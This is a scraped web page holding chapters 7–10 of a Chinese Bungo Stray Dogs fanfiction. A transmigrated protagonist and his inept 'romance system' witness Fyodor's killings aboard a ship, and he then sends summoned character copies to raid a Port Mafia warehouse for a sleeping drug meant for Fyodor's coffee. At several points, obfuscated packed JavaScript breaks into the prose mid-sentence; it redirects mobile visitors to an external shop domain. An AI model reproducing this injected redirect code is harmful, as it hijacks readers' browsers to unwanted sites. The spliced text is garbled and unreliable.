l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289218|152070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有了几分流浪汉的影子,说不准自己宿主是个先天流浪汉圣体。 花言没有意识到系统的想法,他看了一遍厨房后索然无味地走了出去。 “啪嗒。” 鞋底与地面相触发出了一声粘腻的水声。 抬眼望去走廊内部铺陈的红色地毯浸满了靡丽的液体,而原本在厨房里忙活的厨师也都横七竖八地倒在了不远处,像是一出门就被人奇袭了一样。 花言走上前试探了一下对方鼻息,发现死的十分彻底,他有些惋惜,毕竟对方做的饭还挺好吃的。 【宿主……】 系统喊了一声,有些担心自己这个和平世界长大的宿主会被吓晕过去,【你没事吧?】 但出乎意料的是对方相当冷静,仿佛并不畏惧尸体,甚至有些司空见惯。 [我以为你读取过我的记忆,没想到原来没有吗?曾经我没钱的时候去殡仪馆上过班。] 花言一边跨过尸体,一边跟系统聊天,[比起那些各种各样的尸体,现在这些反而还好,伤口几乎都是一击毙命,看起来就像是睁着眼睛睡着了一样。] 花言一路从船舱走上了甲板,漆黑的夜色笼罩了这片海域,黯淡无光的碎星稀稀落落点缀在头顶的夜空中,唯一明亮的光源只有船舱内散发出的暖色调灯光。 虽然「细雪」一直在维持,但花言仍旧站在了昏暗不起眼的角落。 很快一道同样披着漆黑斗篷的身影从船舱内走了出来,破破烂烂的斗篷下摆不断滴落着液体,对方每走一步都会响起液体坠落在地的粘稠声响,直到最终站在甲板中央不再移动。 船舱内暖色调光源在不断升温,逐渐从船舱最底部蔓延了上来,灼热的火光中浮现出了一道瘦削的身影。 乖顺垂落在脸颊边的发梢被火光渡上一层柔和的色泽,一双深邃神秘的紫罗兰色眼眸格外吸睛。 对方唇边带着若有若无的弧度,缓步从火光中走出,所散发出的孱弱柔和与灼热耀眼的火光相融,让人无端联想到教堂圣光下的洗礼。 美丽的事物总能让人不合时宜地沉醉其中,就连危险也变成了对方魅力的一部分。 花言正欣赏着对方美貌,脑海里系统突然说话了。 【宿主,你打算怎么接触目标?】 这是个好问题,有点难住了花言。 一直以来被忽略的难题终于还是浮现在了眼前——他完全没有谈过恋爱,更别提去攻略一个目标了。 系统长时间没有得到对方的回答,有些疑惑,【宿主?】 [……感情这种事情顺其自然就好了。] 花言大言不惭地敷衍了对方,并转移了话题,[要不然我们先从看一下他对我的好感度有多少,再来判断一下接下来要怎么做吧?] 希望他的死亡开局没有让对方的好感度跌成负一百。 这下轮到系统沉默了,长时间没有得到对方回答的花言逐渐产生了不好的预感。 [系统?马路牙子?你说话啊……?] 为什么对方突然沉默了啊?! 难道好感度真的跌成负一百了吗?! 在花言的忐忑不安中,系统终于出声了。 【那个宿主……其实我没有能够让你看见对方好感度的功能……】 花言:? 8. 第 8 章 花言听见这句话只觉得好像有人给了自己脑子一锤,眼前一片漆黑,连气都有些喘不上来。 他难以置信地确认了一遍,[你的意思是——我不仅看不到攻略目标的好感度条,我也没办法得知对方对我的好感度波动数值?] 【是这样的……】系统语气有些弱。 [不是……这么重要的事情你为什么不早说?] 花言简直要给对方下跪了,在极度绝望下,他甚至想到了阴谋论。 [你身为攻略系统连好感度功能都没有,你该不会根本不是攻略系统吧?你是什么?魔法少女系统?想收集我的绝望?] 【我真的不是……】 系统说着沉默了一下,旋即像是想到了什么合理的借口,苍白地辩解,【宿主,其实攻略系统看不见好感度很正常的,这说明我们真挚!感情这种东西怎么能用数字去衡量?对吧?】 要不然怎么说近朱者赤近墨者黑呢。 花言听见这番话只觉得对方学习能力出乎意料的强,甚至开始怀疑对方是不是意识到了自己一直以来的敷衍,以至于现在开始现学现卖了。 他觉得自己应该对这个系统的能力期待值再放低一些。 [既然你没有好感度功能,也没有回档,该不会也没有能够让我复活的那一类功能吧?] 【是的……】系统也察觉到了对方情绪的变化,有些心虚。 花言不知怎么忽然有些累了,果然靠人不如靠自己吗? 他转身打算先离开,[既然没有好感度功能,现在我们就要改变一下计划了。今天我们有些出师不利,撞见了目标的犯罪现场,不如我们日后挑个好点的日子再来……] 剩余的话还未来得及说完,一道裹挟着血腥味的尖锐气流从距脸侧几毫米的地方堪堪擦过,如果他刚刚没有转身的话,说不准现在刚好命中。 优雅低沉的嗓音自不远处响起,“好像还有其他客人。” 海风吹散了空气中铁锈味的同时,也隐隐约约地带来了一缕属于食物的甜香,像是餐后甜品,闻起来甜腻又轻柔。 费奥多尔记得甲板与厨房之间隔了好几层,现在也还没到吃饭的时间,因此这缕香气出现的就格外违和,更何况…… 他目光扫过被火光照亮的地面,那里有一串不属于他们之中任何一个人的、极淡的褐色脚印,脚印从船舱蔓延,越来越淡,直到消失在那个不起眼的黑暗角落。 顺着望去,视野中却没能捕捉到任何一个人,看起来是名异能者。 几乎是瞬间,费奥多尔就从——“有异能者在一直观察着他们的一举一动”的这一事实里做出了决策。 ——哪怕不知道对方的目的,可只要被发现了就是一件麻烦的事情。 所以绝对不能让对方活着。 费奥多尔侧头看向一旁披着黑色斗篷的男人,后者会意地抬起手,一道道流动着金色文字的赤红自手腕蜿蜒而落,拖拽着光尾朝那个角落刺去。 系统的反应比人类要敏锐许多,【宿主!快躲开!】 就算系统提醒的很到位,以花言的身体素质和反应速度也根本不可能做到像是电影里的特工一样依靠敏捷的身手完全躲开那些攻击。 所以他既没有切换异能,也没有移动分毫,像是被锋锐的杀意钉在了原地,也像是早已预知到结果。 来势汹汹的耀眼血弹擦过花言身体轮廓钉进了身后的墙面中。 系统原本打算启动紧急方案的举动一顿,惊愕出声,【宿主,你……原来练过这方面吗?】 难不成对方殡仪馆工作什么的其实都是骗自己的?实际上对方是干杀手的? [不……这只是单纯的运气。] 花言检查了一下自己的衣物确认没有染上对方的血迹,[你不是说过我运气很好吗?] 【确实……是这样呢……】系统语气不知为何略有些艰难。 它确实是说过对方运气很好,但是这未免有些好不正常了…… 不过……转念一想,既然对方都能在濒死之时遇见自己了,这点事好像也不奇怪。 系统想通之后坦然地接受了这个事实。 然后它就眼睁睁地看见自家宿主切换异能,换成了「深渊的红发安妮」,紧接着毫不犹豫地往里一躲。 系统:……啊?? 星渺漆黑的夜空透不出丝毫光亮,燃烧的火光成为了近乎与黑夜融为一体的广阔汪洋中的灯塔。 那处被攻击的阴暗角落里凭空出现了一道人影,忽明忽暗跳跃着的火焰在对方身上斜划出了一条明确的分界线,对方一半隐藏在阴影中,一半被火光照亮。 费奥多尔只能看清那人漆黑的斗篷一角,以及模糊在黑暗中的大致轮廓。 身披暗色斗篷的陌生来客,身影出现后不到一秒又再次消失,连带着海风中那缕清甜的味道也一同消失的无影无踪,仿佛已经离开。 对方像是早就想好要这么做了一样,毫无挣扎与犹豫的余地。 这让费奥多尔不由得重新注重起对方的目的,他不知道对方是何时上船的,也不知道对方看见了多少,不过有一点毋庸置疑——对方对此蓄谋已久。 从对方干脆利落地撤退来看,对方不想留下任何可能暴露身份的线索,也对他手中得到的情报执念不深,这种情况更像是观察又或者是某种试探。 费奥多尔想到了这艘船的主人——港口mafia的干部Ace,后者一直野心勃勃,甚至在背地里收集港口mafia成员异能清单想要谋反,这点意图实在太明显,港口mafia首领未必不知道。 难道说……那人是港口mafia首领暗中派来监视Ace的吗? 但是如果是这样的话,说不通对方知道自己暴露后毫不犹豫离开的做法,把他们缠住等港口mafia支援到可比放他们靠岸后再抓捕要保险得多,而且也完全没有必要隐藏身份。 更重要的一点。 他手上的港口mafia成员名单里没有这种能够隐藏身形瞬间移动的异能。 是港口mafia首领对此早有预谋派出了暗中培养的特殊成员,还是有其他势力介入……? 费奥多尔眉头微皱,下意识啃咬着指尖,“事情变得稍微麻烦了啊……” …… 一片类似于娃娃屋、充满童心的粉色调空间内,系统正百思不得其解。 【宿主,你不是运气很好吗?为什么要跑得这么果断?】 虽然对方之前说过现在不是攻略好时机的话,系统也相信对方的判断,毕竟情况确实是这样,攻略目标看起来更想杀人灭口。 但是,如果对方运气真的好到这种匪夷所思的地步了,攻略目标在看见花言后忽然改变想要杀人灭口的想法也不是没有可能,甚至说不准整个攻略流程都会顺利得不得了。 [马路牙子啊……] 花言坐在房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289219|152070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的小圆桌旁,给自己倒了杯茶压压惊,语重心长。 [你知道为什么世界上大部分人都认为‘幸运’不算是一个人的才能吗?] 【为什么?】 系统总觉得对方的语气像是已经把自己看成了什么人工智障,有一种无力的疲倦。 [因为‘幸运’是不稳定的,你不知道目前所发生的事情究竟是不是真正的‘幸运’,固然费奥多尔有改变杀人灭口想法的可能,但万一出现——现在死了才是最‘幸运’的可能呢?将命运寄托在无法掌控的运气中是不可靠的。] 如果他真的完全幸运,就不会猝死,也不会遇见这个不靠谱的系统经历这一系列的事情了。 花言幽幽叹了口气。 [当然,还有最重要的一点。] 已经开始反思的系统下意识顺着对方的话询问,【什么?】 花言像是在隐忍什么似的,沉痛地摇头。 [我自卑啊!] 【自卑?】 系统不明所以地再次扫描了一次自己宿主的外貌,【宿主你的外貌没问题啊,在这个世界中算是漂亮的那一类了,出道都没有问题,唯一的问题或许只有身高没有达到最优配比一米八,也没有腹肌,不过这点……】 [不是因为身高和身材!] 被系统无意攻击了一下的花言有些恼怒,他重重地一拍桌子。 [是眼睛啊!有这双眼睛在,哪怕我出道肯定也是谐星出道吧!] [哪怕那个时候他没有立即让那个牧师下杀手,只要他跟我交流了,在那种情况下,我想跟他友好接触肯定要展现诚意吧!展现诚意肯定要露脸吧!那他肯定会看见我眼睛的!] 花言想到这里又悲伤了起来,[我这花里胡哨的七彩眼睛……我自卑啊,都是你害得我从原本阳光开朗大男孩变成自卑阴暗不敢见人的斗篷幽灵,马路牙子,我会永远缠着你,永远,永远。] 系统:…… 【没……没这么夸张吧……】 系统难得有些磕磕绊绊,【毕竟从资料上显示,攻略目标不是那种会嘲笑他人的人……】 [他确实不会当面嘲笑,万一他在心里笑怎么办……] 花言更忧伤了,[绑定的攻略系统在开局把我弄丢了不说,还没复活回档、看好感度、查攻略目标位置等一系列攻略系统该有的基本功能,现在我还要走谐星路线去完成攻略任务……] 在花言的碎碎念下,系统越发内疚,甚至觉得对方真的因为自己的无能而忍辱负重。 【对不起,宿主……】 系统真诚地道歉,【我能帮到你的很少……】 [唉……] 花言再次叹了口气,他凄凉地笑了一下,[没事,毕竟我们已经绑定了,我只希望我们能够更加信任彼此,不要再说些什么威胁怀疑之类伤人心的话了。] 【宿主……】 系统简直愧疚得要把自己核心数据挖出来了,【我保证不会再催促你去做任务,不会再怀疑你的任何决策了。】 [真的吗?] 花言仿佛被安慰到了,眼睛有一瞬间的光亮。 【真的!】系统信誓旦旦地保证。 [那太好了!] 花言重整旗鼓,甚至喜笑颜开,[我们回擂钵街继续当流浪汉吧!] 系统:? 这一刻,系统再一次回想起了自己宿主对擂钵街当流浪汉的执念。 9. 第 9 章 系统CPU飞速转动,从花言一堆会令人头晕目眩的说辞里找到了漏洞。 【宿主,我觉得你说的不完全正确,我会不信任你,也有你不信任我的原因在,你甚至都没有跟我说过你的计划,也不让我读取你的想法,你在防备我,所以我才会怀疑你。】 花言倒是没想到这个纯良到好忽悠的实习系统会突然反应过来,他抬头看了眼悬浮在空间上方的童话风时钟,有些无力地叹了口气。 [毕竟,你很不靠谱啊。] 他不了解这个系统,也不清楚对方找上自己的原因,再加上这个系统对他的攻略任务近乎起不到任何帮助,根本不像普遍认知中的攻略系统,一切都透着重重疑点。 系统的声音没有第一时间响起来辩解,像是回想起了自己的无能而理亏,也像是因为想到了什么更深层次的东西而踌躇。 半晌,系统支支吾吾地开口了,【宿主,我不会做出任何对你不利的举动,而且我也不是什么都无法帮助你……如果真的到那种糟糕的情况了,你会知道的!】 [唉……] 花言没忍住再次苦恼地叹了口气,[好吧,我告诉你真相,其实我很不擅长去攻略别人,也很不擅长跟人打交道。] 【宿主,你还没试着跟他打交道呢!】 系统对自己宿主还没开始就先退缩的心态表示强烈不满。 花言对系统这个“打交道”的判定范围有些不认同。 [我已经跟他打了个照面,四舍五入这不就是打过交道了吗?] 【但是……‘打交道’最起码需要产生交流,宿主你只是单纯目睹了对方的犯罪现场,根本没有交流。】系统说着后知后觉地反应过来了什么。 说起来,攻略目标似乎没有什么时候不在进行危险计划的,可以说对方不是在犯罪现场,就是在犯罪现场的路上。 这样的话……对于自家宿主而言好像什么时候都不算是打交道的好时机啊…… 系统想到最后缓缓陷入了沉思。 花言已经从对方反应里知道对方意识到了这个问题的事实。 [所以才说麻烦啊……] 花言叹息着起身,他目光望向这个空间荡开在高处的梦幻色彩。 而且按照剧情发展,他能够再跟对方接触的机会并不多,得想个办法影响一下……或者说拖延一下后面剧情才行。 这样虽然会失去知晓未来的主动权,但也能得到更多的机会。 花言沉吟片刻,在房间里复制出了游戏中的建筑。 建筑分为三层,第一层是武装侦探社的布局,里面粗略被划分为会客室、办公室、诊疗室、餐桌四个区域,第二层则是港口mafia的简略版布局,粗略被划分为武器库和研究室,第三层则是港口mafia的执勤室和食堂。 不同于游戏中扁平又简单的画面,实体化后里面该有的东西都一应俱全,也正应如此花言才能在擂钵街神出鬼没的生活那么久。 由于花言只复制了建筑,所以平常本该在里面的npc并没有出现,他没有对这个建筑有过多详细的探索,因此也不太清楚里面都有些什么。 他一路上了二楼走进了武器库,在看见武器库模样时,他心中的不好的猜想终究是成真了,系统说的果然分毫不差,这里的布局确实完全复刻了他游戏数据,由于他玩游戏时嫌二楼的建筑不给材料就没提升过,因此这地方还是一幅破败的模样,找不到任何武器或者药物。 花言失望地下楼进了诊疗室,试图在诊疗室里找到想要的东西,但这里只有些普通的药物,比如说感冒药、止痛药、止血剂之类的东西,唯一一个有点靠边的麻醉剂还是注射用的。 不行啊…… 果然还是无色无味能入口起效不被发现的最好。 花言思来想去,觉得自己如果想干扰后面剧情的话,得赶在费奥多尔入狱之前做出一些行动,如果让对方入狱了,那后面他再想去接触对方就会困难很多。 换句话说,他得阻止或者是拖延对方入狱,而且是用柔和点的,不会被对方发现的方式——比如说在咖啡里下药,然后把对方搬运到不会被人发现的地方,让对方躲过军警抓捕。 这样哪怕对方想找打乱计划的罪魁祸首都找不到,再不济就算倒霉被发现了,他也不算是完全打乱对方计划,也没有害到对方,对方也不会因此痛下杀手。 计划是很好,但难点出现了——他没有那个药。 怎么办呢…… 要去买吗?但是那种药通常都是黑市才会有吧?他该怎么去黑市买?或者说找谁买呢? 不,仔细想想的话,费奥多尔现在已经上岸了,他就算找人买到了这个药,说不准也会被对方察觉,毕竟他在船上被对方发现了。 得想个更能隐藏的方法。 这件事情还挺麻烦的呢…… 总之先回去吧,他总不能一直呆在海面上。 花言抬头看了眼时间,确认时间已经过了足够长,长到费奥多尔不可能耗一个小时在原地冒着船沉被港口mafia发现的风险蹲他后,果断取消了复制出的建筑,顺带更换了复制的异能。 裹挟着咸气与湿意的海风吹拂过面庞,带来丝丝缕缕的冷意,漆黑的海面上已经看不见丝毫光亮,那艘满是罪证的船或许已经被开往得更远直到沉没海底。 花言浮在海面上,周身附着着一层若有若无的红光,这里看不见陆地,也看不见能够指引方向的灯塔。 “有些糟糕了啊……是哪个方向来着……” 花言小声嘀咕,脚尖在海面轻点,通过重力操纵利用这一点微薄的惯性带动身体朝前飞去。 漆黑的斗篷被气流吹的簌簌作响,露出里面雪白整齐的衣物,以及藏在斗篷中的雪白长发。 黑暗一向能够压迫人心。 在花言不禁开始思考自己不会要在海面飘上一天的时候,视野里近乎与天际融为一体的海岸线浮现出了星星点点的微光,那抹微光很小,小到就像是海面上的萤火虫,但仍旧不容忽略。 伴随着距离的拉进,那抹微弱的光芒愈演愈烈,直到一座屹立着五座大楼的城市映入眼帘。 看起来这一次他的运气也指向了正常的幸运。 海岸停泊着许多船只,连带着码头那一片的灯光都明亮无比,其中有众多身影穿梭,像是在卸货,也像是赶时间搬运货物,以求明早能够及时发船。 花言站在不起眼的阴影里整理了一下斗篷,随即习惯性地用「细雪」掩盖去了自己的身形。 他一边继续思索着要去哪弄药的难题,一边朝横滨市内走去,视线漫无目的地扫过每一个跟他擦肩而过的人,零零碎碎的语言也伴随着风声一同传入耳畔。 “……这是最后一箱了吗?” “没错,这可是港口mafia新到的货,小心别摔了,要是摔坏了里面的东西,你一个脑袋都不够赔的!” “害,你就放心吧,我都在这干多少年了,手稳得很。” “……” 花言听着远去的交谈声,逐渐停住脚步。 一个计划在脑海中缓缓成型。 港口mafia吗? 他差点忘记了还有这个途径。 他记得当初森鸥外是地下医生起家的,所以会注重药物的价值,多采购些乱七八糟的药物与武器一同囤放在仓库应该也不是没可能吧? 既然在最为便捷安全的黑市想要弄到这种药容易被发现,那他为什么不大胆一点呢? 花言环顾了一圈周围,快步走到了被黑暗笼罩的监控死角,抬手再一次使用了异能。 无数细微的光点在半空中浮动,缓缓凝聚成了一个人形,模糊的轮廓逐渐清晰,在光点散去的那一刻,一名身穿马甲披着黑西装外套带着礼帽的橙发男人也随之出现在眼前。 闭合垂落的眼睫逐渐睁开,露出了那双宛如大海般澄澈透亮的蔚蓝色眼眸。 男人的视线从不远处的码头扫过,又掠过那五座大楼,最后落在眼前披着黑色斗篷的青年身上,微微挑眉。 “这里是横滨码头?” “嗯。” 花言不动声色地观察着眼前的男人,这是他第一次尝试复制游戏卡牌里的人物,效果跟他想象中的有点不太一样。 感觉有点太真实了,真实到有点像是本人了。 基于这个基础,对方听了自己的计划后,该不会不仅不配合还要暴起先给自己两拳吧? 花言警惕了起来,在脑海中戳了一下系统。 [你确定这不是本人?] 正在试图独立分析,绞尽脑汁思考对方为什么要在这个时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289220|152070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候复制人物的系统闻言,当即翻了翻数据库,从中找到了为对方赋予异能前所编写的异能内容计划书,翻阅后肯定地回答。 【确定,确切来说这是收集了人物本人平时一切言行举止和思维习惯的数据,在此基础上衍生续写出的人格程序,而人物所拥有的记忆随宿主你复制的卡牌中人物所在的时期而定。】 系统说着补充道:【顺带一提,由于人是很复杂的生物,有可能会出现宿主您复制同一人物卡而卡面不同,以至于同一个人出现不同性格……呃,也就是某一方面情绪被放大,比如说会更好说话,或者更暴躁一点的情况。】 [是这样吗……] 花言若有所思,虽然系统说的这么简单普通,但他还是觉得对方有点真实的太过了,而且就连异能反馈给他的感觉也不太一样,比起之前的复制,更像是召唤一样的、带有某种感应与联系之类的感觉。 不过仔细一想,这也是他第一次尝试人物卡,本身就是这样设定的也说不准,更何况系统这种高维科技都能给他来个降维打击成纸片人了,对方的人工智能更高科技一点也不是什么怪事……吧? 花言回想起系统接连给他造成的重创,觉得自己应该吃一堑长一智,还是别太信任为好。 「中原中也」没有察觉到对方走神的事实,或者说是对方斗篷遮掩的太严实,再加上这里暗的近乎什么都看不见,所以那一抹异常被很好隐藏了起来。 他只注意到对方“嗯”了之后半天没有动静,有些疑惑地继续追问,“所以呢?需要我帮你做些什么?” 花言一边防备着对方会突然给自己一拳,一边犹豫地提出问题,“你知道港口mafia在港口存放货物的仓库在什么地方吗?” “当然,不过我不确定这里的是不是跟我印象中的一样,可能要找一会儿。”「中原中也」有些明白对方的想法了,“你是想让我去里面替你取什么吗?” “嗯,”见对方没有生气的预兆,花言安心了,“我需要一种能够让人昏睡过去的药物,最好无色无味,还能立即起效。” 说完他回想起武器库里寒酸的惨状,既然现在没办法用素材给这些地方升级了,那就只能物理升级一下了。 “可以的话,顺便再带点武器药物什么的?用来掩人耳目。” 这样一套连招下来,谁能想到他连夜偷袭港口mafia仓库的原因只是为了一瓶药啊! 这简直是完美的灯下黑。 花言越想越觉得这个计划很不错。 「中原中也」干脆利落地点头,“知道了,还有什么其他的吗?” 花言思考了一会儿,有些迟疑,“最好别让任何人发现你?比如说一瞬间打晕看守的人、在监控照到你之前把那些破坏掉之类的?” 毕竟如果被发现了,无论是对于他,还是对于这个世界的港口mafia来说都是一件麻烦事。 “这像是特工。” 「中原中也」点评了一句,没直接告诉说能不能做到,仅点了一下头,“总之就这些要求对吧?” “嗯。” 花言目送对方身影渐行渐远,欣慰地点头,没想到一切比想象中要顺利这么多。 系统虽然不知道自己宿主要那种药和武器干什么,但是…… 它惊恐地出声,【宿主,你就这么让他一个人去港口mafia仓库了吗?】 [是啊,他应该能完美做到,毕竟他可是被誉为重力使的异能者,再不济就算他运气不好刚好遇到巡逻的人来换班,他身为港口mafia干部来拿个东西怎么了?] 花言说到这里理直气壮,[谁敢质疑?] 【是……是这样没错,但是……】 系统觉得自己如果有五官的话,现在一定已经痛苦得扭曲起来了,【宿主,您所复制出的人物如果想要战斗,是需要您一并复制出战斗页面协助的,也就是需要您通过弹珠游戏来给对方补充战斗所需要的魔力。】 它沉痛地告诉了对方一个事实,【只要有动手的意图就会被判定为战斗,所以你说的打晕看守……】 花言:? 花言只觉得刚刚的真实感一下子就消失了,变得常规又接地气了起来。 他往「中原中也」消失的方向看了一眼。 哈哈,已经看不见人了呢。 10. 第 10 章 花言站在原地简直怀疑人生。 不是…… 主要是都已经那么真实了,还专门加入这个设定是为了什么? [这个设计的意义是?]花言虚心请教。 系统声音心虚了一瞬,【是为了保证宿主你的生命安全。】 花言:? [……啊?] 这是花言完全没有想过的全新方向。 他双眼茫然地放空,虽然他确实是担心过「中原中也」在听见自己要求后会不会暴起揍自己,但是如果专门因此设计出了这么个限制,意义就完全不一样了。 这不是意味着由他异能实体化的队友会有反水的可能吗?! 【因为……因为宿主你也知道,每个角色的性格都各不相同,哪怕他们对待你的态度是由原本携带过的战斗次数而定的——战斗次数越多,他们就会越信任你,对你好感度越高,但是……】 系统支支吾吾地继续说明,【对于某些性格比较极端偏激的角色来说,高额的好感度和信任,也不一定意味着彻底安全……】 其实也不仅仅只是为了保证对方的安全,同样也是为了保证这个世界的安全。 如果通过对方异能实体化的角色太多,导致前者没能关注到某个角色、或者是被某个角色蒙蔽——一不留神让对方私自行动,从而引起了什么大范围伤亡与混乱就麻烦了。 不过这点还是不说明比较好,总觉得说出来反而会影响自家宿主与自己之间的感情,显得像是自己怀疑对方的能力一样,现在对方就已经很不信任自己了,它并不想再使得他们关系恶化。 [好吧……] 花言接受了这个说辞,听起来是设计的挺全面的,也挺符合自己异能的,连战斗方式都一比一还原游戏了。 他不再执着这个问题,注意力重新倾斜在已经走远的「中原中也」身上,借助那股类似于召唤般的某种感应与联系,感知到了对方的位置。 已经距港口mafia仓库仅数米远的「中原中也」耳边忽然响起了熟悉的嗓音。 [先等等,别进去。] 「中原中也」停下了脚步,感知到对方的位置不断朝他这边靠近。 ——直到站在自己身后。 他回过头,视野里空无一人,但他知道花言就在那里,细听甚至还能听见对方强行平复的呼吸声,像是一路跑来的。 「中原中也」有些奇怪对方为什么突然快速赶来,“怎么?” [我想了一下,我觉得还是要谨慎一些。] 花言没有开口,他与「中原中也」之间的交流方式像是与系统的交流方式一样,能够直接在脑海中进行,只不过显然对方更喜欢干脆利落地直接询问。 他抬起眼眸扫过不远处站在仓库前站岗的两名身穿黑西装的港口mafia员工,再次安心了下来。 还好,他还没有倒霉到那种刚好撞见这个世界的中原中也,也没有倒霉到刚好遇见巡逻人员换岗的地步。 “谨慎一些……?”「中原中也」若有所思地抬起眼眸扫过仓库门前站着的人,以及不远处的摄像头。 [嗯。] 花言没有过多解释什么,他抬起手,很快飘散的光点在半空中凝聚成三道身影。 一名棕发金瞳的男人穿着军绿色的帽衫出现在原地,而在对方身侧,则出现了一名黑发紫瞳的男人,后者穿着不修边幅的白大褂,还牵着一名金发蓝瞳的少女。 后者像是不适应般眼眸微合,再次睁开时,场上两名港口mafia成员都恭敬地微微躬身。 「森鸥外」环视了一圈周围,没能看见召唤他的那道身影,不过他能感觉到对方就在附近,看起来是不想现身。 是出现了什么需要绝对隐蔽的情况吧。 「森鸥外」没有直接喊出对方的名字,他唇角微弯,犹如寻常的长辈一般,“看起来遇见难题了呢。” 花言注意到对方故意略过喊他名字确认身份的举动,不由得在心里称赞了一声对方,随后详细地跟另外两人说明了自己要做的事情,以及一会儿的计划。 两人一异能体听完都沉思了片刻,像是在思考这么做的背后缘由,也像是在思考接下来该怎么做。 不一会儿,「立原道造」爽快地做出了总结。 “噢,明白了,总之只要像以前那样做就对了吧?” [不要把对方杀了啊,打晕就行了。]花言不放心地提醒。 “安心啦。”「立原道造」自信地拍了拍胸膛,“有boss和中也先生在,再加上你的指挥,别说一个区区仓库,就算是十个都不在话下!” 「中原中也」和「森鸥外」都对此没有异议,这对于他们来说并不算是一场艰难的战斗,更别提早在很久之前,他们就已经跟对方一同参与过有过关于港口mafia仓库的战斗了,现在再来一次更是易如反掌。 花言觉得这还是在话下的。 不过既然对方一副信誓旦旦的样子,再加上眼前三人极高的等级数值,应该不会出什么问题。 接下来就是…… 花言沉吟了一秒,把战斗页面复制在了墨镜上,战斗页面没有实体,如果直接复制在半空,不知道会不会被其他人看见。 更何况他眼睛上的要素已经很多了,不想再添加什么莫名其妙的buff,虽然晚上戴墨镜看不清暗处,但他只要能看见亮处就行了。 花言指尖探进帽檐,将推到头上的墨镜又勾了下来,眼前视野暗下去的同时,一连串数值与技能也随之浮现在眼前三个男人的头顶。 他目光再扫过不远处看守仓库的、还一无所知即将面对什么的港口mafia员工,抬手又给眼前三人覆上了一层「细雪」,决定将偷袭进行到底。 花言深吸一口气,做好了准备,[麻烦你们了。] 「中原中也」有些不适应地轻啧了一声,“这么客气干什么?我们不是已经一起战斗过很多次了吗?更何况这次并不是什么很困难的战斗。” 花言闻言微微愣了一下。 怎么说呢…… 有点不好意思。 因为他打弹珠的技术其实挺烂的,平时遇到难度大的关卡不是开技能强行杀过去,就是用异能石强行复活继续战斗。 花言沉默了下去,在「细雪」的作用下,他看不见对方的模样,只能看见那三串数值与技能说明越走越远,直到停在仓库门口,紧接着一个弹窗自眼前弹出。 ——「战斗开始」 伴随着弹窗的出现,眼前的数值瞬间化为三个Q版小人,确切来说是四个,「森鸥外」身后还躲着一个「爱丽丝」,而在这四人的对面是两个拿着枪穿着黑西装的员工,在小人的下方是花言所熟悉的弹珠页面。 看起来跟计划中的差不多,唯一的问题只有…… 花言没想到这个战斗系统这么光明正大。 在战斗开始的那一刻,覆在四人身上的「细雪」也随之失效。 他拨下墨镜,去掉战斗页面的Q版滤镜,能够清楚地看见仓库门前看守的两人站在原地罚站还一脸疑惑的模样。 负责今晚看守仓库的港口mafia员工很迷茫,他们看着眼前堪称是百年难遇的场面,心中的疑惑近乎都要溢出来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289221|152070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在感到疑惑的同时,他们本能地想要单膝跪地行礼,但就在想要蹲下时,他们却发现自己的身体无法动弹半分。 这一下伴随着疑惑滋长的还有惊疑与恐惧。 发生什么事情了? 为什么首领和中原干部,以及“黑蜥蜴”十人长都来这里了? 为什么他们都动不了了? 糟了,难道是有敌人来入侵?!是能够限制人行动的异能?! 那两名港口mafia员工眼里充满了惊恐,他们下意识看向眼前的四人,视线来回在四人之中徘徊,直至忐忑不安地小心询问。 “boss?中也大人?立原大人?是……有敌人袭击吗?” 然而被询问的三人也很沉默,他们彼此交换了一个眼神,都从对方眼中看见了无奈与疑惑,无奈是因为这种事情并不是第一次发生,而疑惑则是因为为什么这一次花言这么久都没动静。 另一边在暗中隐匿身形打弹珠游戏的花言近乎要被来回横跳的弹珠气破防,他明明是对着目标属性发射的弹珠,但却没能如想象中的那样全部消除,弹珠弹跳的轨迹一如既往地让人难以捉摸。 不出意外的,来回横跳的弹珠没有击中他想要的属性,于是第一个回合就被这样浪费了,那两个仓库员工小人头上的数字变成了“一”,这意味着如果他下一次还打不中,对方就会恢复一回合的行动自由了,到时候事情肯定会变得有些麻烦。 花言看着新刷出来的弹珠页面犹豫是直接使用技能,还是继续打弹珠,技能虽然百分百能够命中,但他不确定会不会因为没能把控好伤害而直接把那两人干掉。 算了…… 花言抬了下墨镜,看了眼不远处的情况,指尖再一次拉动了弹珠,弹射出了轨迹。 